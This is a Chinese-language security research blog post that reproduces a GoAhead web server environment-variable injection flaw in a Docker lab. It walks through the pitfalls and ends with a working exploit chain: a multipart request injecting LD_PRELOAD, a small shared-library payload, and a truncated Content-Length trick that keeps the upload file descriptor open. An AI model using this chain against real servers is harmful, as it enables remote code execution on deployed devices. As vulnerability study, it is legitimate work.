昨天关注到了GoAhead的环境变量注入漏洞,主要是下面这两篇文章:
实际上已经是几个月前的漏洞了,但是因为这段时间漏洞管制比较严格,导致信息闭塞了不少,才进行了复现。
漏洞原理 {#_1}
GoAhead曾经出现过一次环境变量注入漏洞,建议先看下Vulhub中相关的漏洞环境与描述:GoAhead Web Server HTTPd 'LD_PRELOAD' Remote Code Execution (CVE-2017-17562)。
这个老漏洞的原理也很简单,就是GoAhead在处理CGI请求时,将用户传入的的参数作为环境变量了。这样,通过LD_PRELOAD
就可以劫持CGI进程的动态链接库,进而执行任意代码。
今天这个漏洞实际上是对老漏洞的一次绕过,漏洞原理不是本文重点,我用两段简单的文字进行描述:
- 补丁对用户传入参数进行了黑名单过滤,
LD_PRELOAD
这类参数不再设置为环境变量。但由于这个限制使用错了函数,导致实际上并没有生效(这就是不写单元测试的后果,但换句话说,又有多少漏洞POC是从单元测试里泄露的?) - 补丁还将用户传入的参数名前面增加了前缀,导致无法劫持任意环境变量。但这个限制漏掉了multipart的POST包,所以攻击者通过这个方式仍然可以注入任意环境变量
环境搭建 {#_2}
说个趣事,GoAhead官方Embedthis曾在今年或者去年的时候把自己旗下的几个开源项目,包括GoAhead、AppWeb等直接从Github删掉了,在官网上只留了最新版源码下载,如果需要下载旧版得成为付费用户,大有转开源为闭源的趋势。但是没想到昨天重新打开Github一看,诶,项目又回来了,只不过所有的star都遗失了,有点可惜。
说回来,GoAhead的优点是非常轻量,编译几乎不需要额外的第三库,我们下载gcc、make等工具编译即可,我直接将Vulhub中旧版本的Dockerfile拿来改下版本号:
FROM debian:buster
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& apt-get update \
&& apt-get install wget make gcc -y \
&& wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
&& cd /usr/src \
&& make \
&& make install \
&& cp src/self.key src/self.crt /etc/goahead/ \
&& mkdir -p /var/www/goahead/cgi-bin/ \
&& apt-get purge -y --auto-remove wget make gcc \
&& cd /var/www/goahead \
&& rm -rf /usr/src/ /var/lib/apt/lists/* \
&& sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt
CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead"]
另外还有一点要注意的是,今年五月份GoAhead默认将CGI相关的配置注释了。
这也是这个漏洞的第一个坑:**新版本的GoAhead默认没有开启CGI配置,而老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响。**所以并不像某些文章里说的那样影响广泛。
我将CGI相关的配置去掉注释并配置好,编译很顺利就通过了。此时我们就可以把这个Docker镜像跑起来:
docker run -d -it --name web -p 8080:80 -v `pwd`:/var/www/goahead/cgi-bin vulhub/goahead:5.1.4
然后我们再在当前目录下增加一个cgi文件,比如test,并增加执行权限:
#!/bin/bash
echo -e "Content-Type: text/plain\n"
env
访问输出当前的env,说明成功部署并解析完成了:
但是我后文会讲,这样搭建的环境实际上是有坑的。
漏洞复现 {#_3}
首先我们来尝试看是否可以注入环境变量。从原理上来看,实际上就是发送一个multipart数据包,就可以通过表单来注入环境变量,所以我们尝试发送如下数据包:
POST /cgi-bin/test HTTP/1.1
Host: 192.168.1.112:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 145
------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="LD_PRELOAD"
test
------WebKitFormBoundarylNDKbe0ngCGdEiPM--
可见,环境变量LD_PRELOAD
注入成功了,漏洞确实存在:
到这一步一切比较顺利。
漏洞利用 {#_4}
文件上传目录配置 {#_5}
注入环境变量的目的当然是利用漏洞,做到任意代码执行。但是我们看老的漏洞CVE-2017-17562,当时是将LD_PRELOAD
设置成标准输入,即LD_PRELOAD=/proc/self/fd/0
。因为在CGI中POST Body就是标准输入,所以正好可以将劫持的so文件放在Body中发送,完成利用。
但这次我们需要在Body中发送multipart表单,自然不能再用这种方法。
我们的目的是在服务器上上传一个可控内容的文件,然后将环境变量LD_PRELOAD
设置为这个文件的路径,这样来劫持动态链接库。很容易想到另一个方法就是通过上传文件的形式来创建文件。
和PHP一样,GoAhead在遇到上传表单的时候,会先将这个上传的文件保存在一个临时目录下,待脚本程序处理完成后删掉这个临时文件。
我们尝试发送一个文件上传数据包:
但发现直接爆500了,查看日志,错误信息是:
goahead: 2: POST /cgi-bin/test HTTP/1.1
goahead: 2: Cannot open upload temp file tmp/tmp-1.tmp
失败原因是无法写入临时文件tmp/tmp-1.tmp
。我们查看GoAhead源码可以发现其中对上传目录有这样一个配置:
#ifndef ME_GOAHEAD_UPLOAD_DIR
#define ME_GOAHEAD_UPLOAD_DIR "tmp"
#endif
PUBLIC void websUploadOpen(void)
{
uploadDir = ME_GOAHEAD_UPLOAD_DIR;
if (*uploadDir == '\0') {
#if ME_WIN_LIKE
uploadDir = getenv("TEMP");
#else
uploadDir = "/tmp";
#endif
}
trace(4, "Upload directory is %s", uploadDir);
websDefineHandler("upload", 0, uploadHandler, 0, 0);
}
如果宏ME_GOAHEAD_UPLOAD_DIR
没有定义,则将其定义为tmp
。然后将其赋值给uploadDir,ME_GOAHEAD_UPLOAD_DIR
一定不是空字符串,所以上传目录就是tmp
。
很明显这是个相对路径,相对于的是当前目录,当前目录是在启动GoAhead的时候用--home
参数指定的,是存放配置文件的目录,在我这里就是/etc/goahead
。
也就是说,临时文件是存放在/etc/goahead/tmp
这个目录下的,如果这个目录不存在或者不可写,那么就会出现上传时500。
这就是第二个坑:因为很多IOT设备并没有文件上传的需求,也就没有好好配置这个目录,导致实际上攻击者无法通过文件上传的方式向目标写入任意文件,也就无法完成攻击。
作为开发者,我们当然可以解决这个问题,有两种方法:
- 创建
/etc/goahead/tmp
目录并设置写权限 - 在编译GoAhead的时候指定
ME_GOAHEAD_UPLOAD_DIR
参数,修改临时目录路径
我使用的第二种方法,修改Dockerfile如下:
FROM debian:buster
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& apt-get update \
&& apt-get install wget make gcc -y \
&& wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
&& cd /usr/src \
&& make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'" \
&& make install \
&& cp src/self.key src/self.crt /etc/goahead/ \
&& mkdir -p /var/www/goahead/cgi-bin/ \
&& apt-get purge -y --auto-remove wget make gcc \
&& cd /var/www/goahead \
&& rm -rf /usr/src/ /var/lib/apt/lists/* \
&& sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt
EXPOSE 80
CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead"]
设置参数的方法是在make命令后面增加参数(这几层引号与引号的转义也是大坑,本文不细讲):
make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'"
这时候再上传文件就不会出错了:
Too Big {#too-big}
那么,我们按照文章中的方法复现这个漏洞试试。
首先,本地写一个劫持LD_PRELOAD
的动态链接库:
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World\r\n\r\n", 16);
write(1, "Hacked\n", 7);
}
编译:
gcc -shared -fPIC ./payload.c -o payload.so
然后我们发送POST数据包:
curl -v -F data=@payload.so -F "LD_PRELOAD=/proc/self/fd/7" http://192.168.1.112:8080/cgi-bin/test
先不说能不能执行命令了,整个HTTP连接直接被切断了:
我们查看日志信息,可见报了一个Too big错误:
web_1 | goahead: 2: POST /cgi-bin/test HTTP/1.1
web_1 | goahead: 2: Too big
这个错误信息比较粗糙,我们可以在代码里搜索一下Too big这个关键词,看看是哪里出错了:
if (strcmp(key, "content-length") == 0) {
if ((wp->rxLen = atoi(value)) < 0) {
websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Invalid content length");
return;
}
if (smatch(wp->method, "PUT")) {
if (wp->rxLen > ME_GOAHEAD_LIMIT_PUT) {
websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Too big");
return;
}
} else {
if (wp->rxLen > ME_GOAHEAD_LIMIT_POST) {
websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Too big");
return;
}
}
if (!smatch(wp->method, "HEAD")) {
wp->rxRemaining = wp->rxLen;
}
}
原来是数据包过大,超过了ME_GOAHEAD_LIMIT_POST
的大小导致报错了。
我们看看ME_GOAHEAD_LIMIT_POST
默认值是多少:
#ifndef ME_GOAHEAD_LIMIT_POST
#define ME_GOAHEAD_LIMIT_POST 16384
#endif
默认最大支持16384个字节,其实挺小的。作为开发者,我们同样可以通过在make的时候修改这个值,但是作为攻击者,只能修改我们自己的攻击载荷,让其不要"超标"。
这就是第三个坑:攻击时使用的动态链接库不能过大,否则可能导致服务端出错,直接断开链接。
我们可以在gcc的时候增加-s
参数来缩小payload体积:
gcc -s -shared -fPIC ./payload.c -o payload.so
优化过的payload只有14416字节,可以达标了。
找不到文件描述符 {#_6}
重新使用新的payload.so发送数据包:
curl -v -F data=@payload.so -F "LD_PRELOAD=/proc/self/fd/7" http://192.168.1.112:8080/cgi-bin/test
但我尝试了从4开始到100所有的文件描述符,都无法完成劫持,查看日志无非是如下几种错误:
ERROR: ld.so: object '/proc/self/fd/7' from LD_PRELOAD cannot be preloaded (file too short): ignored.
ERROR: ld.so: object '/proc/self/fd/5' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/proc/self/fd/2' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.
按照原文章中的方法,这个漏洞完全利用不了。
那么我们来研究研究原因。我们修改test cgi脚本,让其输出一下/proc/self/fd/
下的文件和/tmp/
下的文件:
#!/bin/bash
echo -e "Content-Type: text/html\n";
ls -al /proc/self/fd/
ls -al /tmp/
发送一个上传包:
可见,tmp目录下成功写入了临时文件tmp-22.tmp
,但在/proc/self/fd/
目录下没有相关的文件描述符。
我没有调试代码,无法肯定导致这个问题的原因。但有一种可能,就是在执行到CGI这里的时候,被打开的临时文件描述符其实已经被关闭了。这就是我遇到的第四个坑。
找到可包含的文件 {#_7}
那么我们如果想要利用这个漏洞,就必须找到可以被包含的文件,从上面的测试过程可以发现,临时文件其实已经被写入了,只不过其中文件名包含一个从0开始递增的数字,我们需要进行爆破。
而且爆破的请求本身也会导致这个数字继续上涨,这个过程十分不稳定,所以自然也不建议利用这个文件。
我们还是看回到文件描述符,什么情况下我们可以让这个文件描述符不要关闭?
我想到一种方法,就是**在文件没有上传完成的时候,这个文件描述符不会被关闭。**那么如何做点这一点呢?有两种方法:
- 使用两个线程,线程一流式缓慢上传文件,线程二使用
LD_PRELOAD
包含这个文件 - 给payload.so文件内容后增加一些脏字符,并将HTTP的Content-Length设置成小于最终的数据包Body大小。这样,GoAhead读取数据包的时候能够完全读取到payload.so的内容,但实际这个文件并没有上传完毕
第二种方法不需要用到线程或竞争,一个数据包可以搞定,甚至不需要写代码,所以我通过第二种方法来利用。
首先构造好之前那个无法利用的数据包,其中第一个表单字段是LD_PRELOAD
,值是文件描述符,一般是/proc/self/fd/7
。然后我们需要改造这个数据包:
- 给payload.so文件末尾增加几千个字节的脏字符,比如说
a
- 关掉burpsuite自动的"Update Content-Length"
- 将数据包的Content-Length设置为不超过16384的值,但需要比payload.so文件的大小要大个500字节左右,我这里设置为15000
发送这个数据包,就可以成功劫持到LD_PRELOAD
:
这里的原理其实就是,pyaload.so加上后面的脏字符构造的数据包实际大小比Content-Length大,导致上传实际上只上传了一半,保存在临时文件中的是完整的payload.so和一些脏字符。
由于上传流程没有结束,所以此时文件描述符是没有关闭的,可以通过/proc/self/fd/7
读取到,脏字符也不影响动态链接库的加载和运行,最后即可成功完成劫持。
后记 {#_8}
这个漏洞踩坑了一晚上,最后仍然没能复现原始文章中直接包含文件描述符的方法,但通过上传一个"不完整"的数据包间接达到了这个目的,完成了攻击流程。
至于PBCTF 2021 - RCE 0-Day in Goahead Webserver文章中介绍的注入其他环境变量来getshell的方法,虽不通用也很有趣,大家可以自行学习。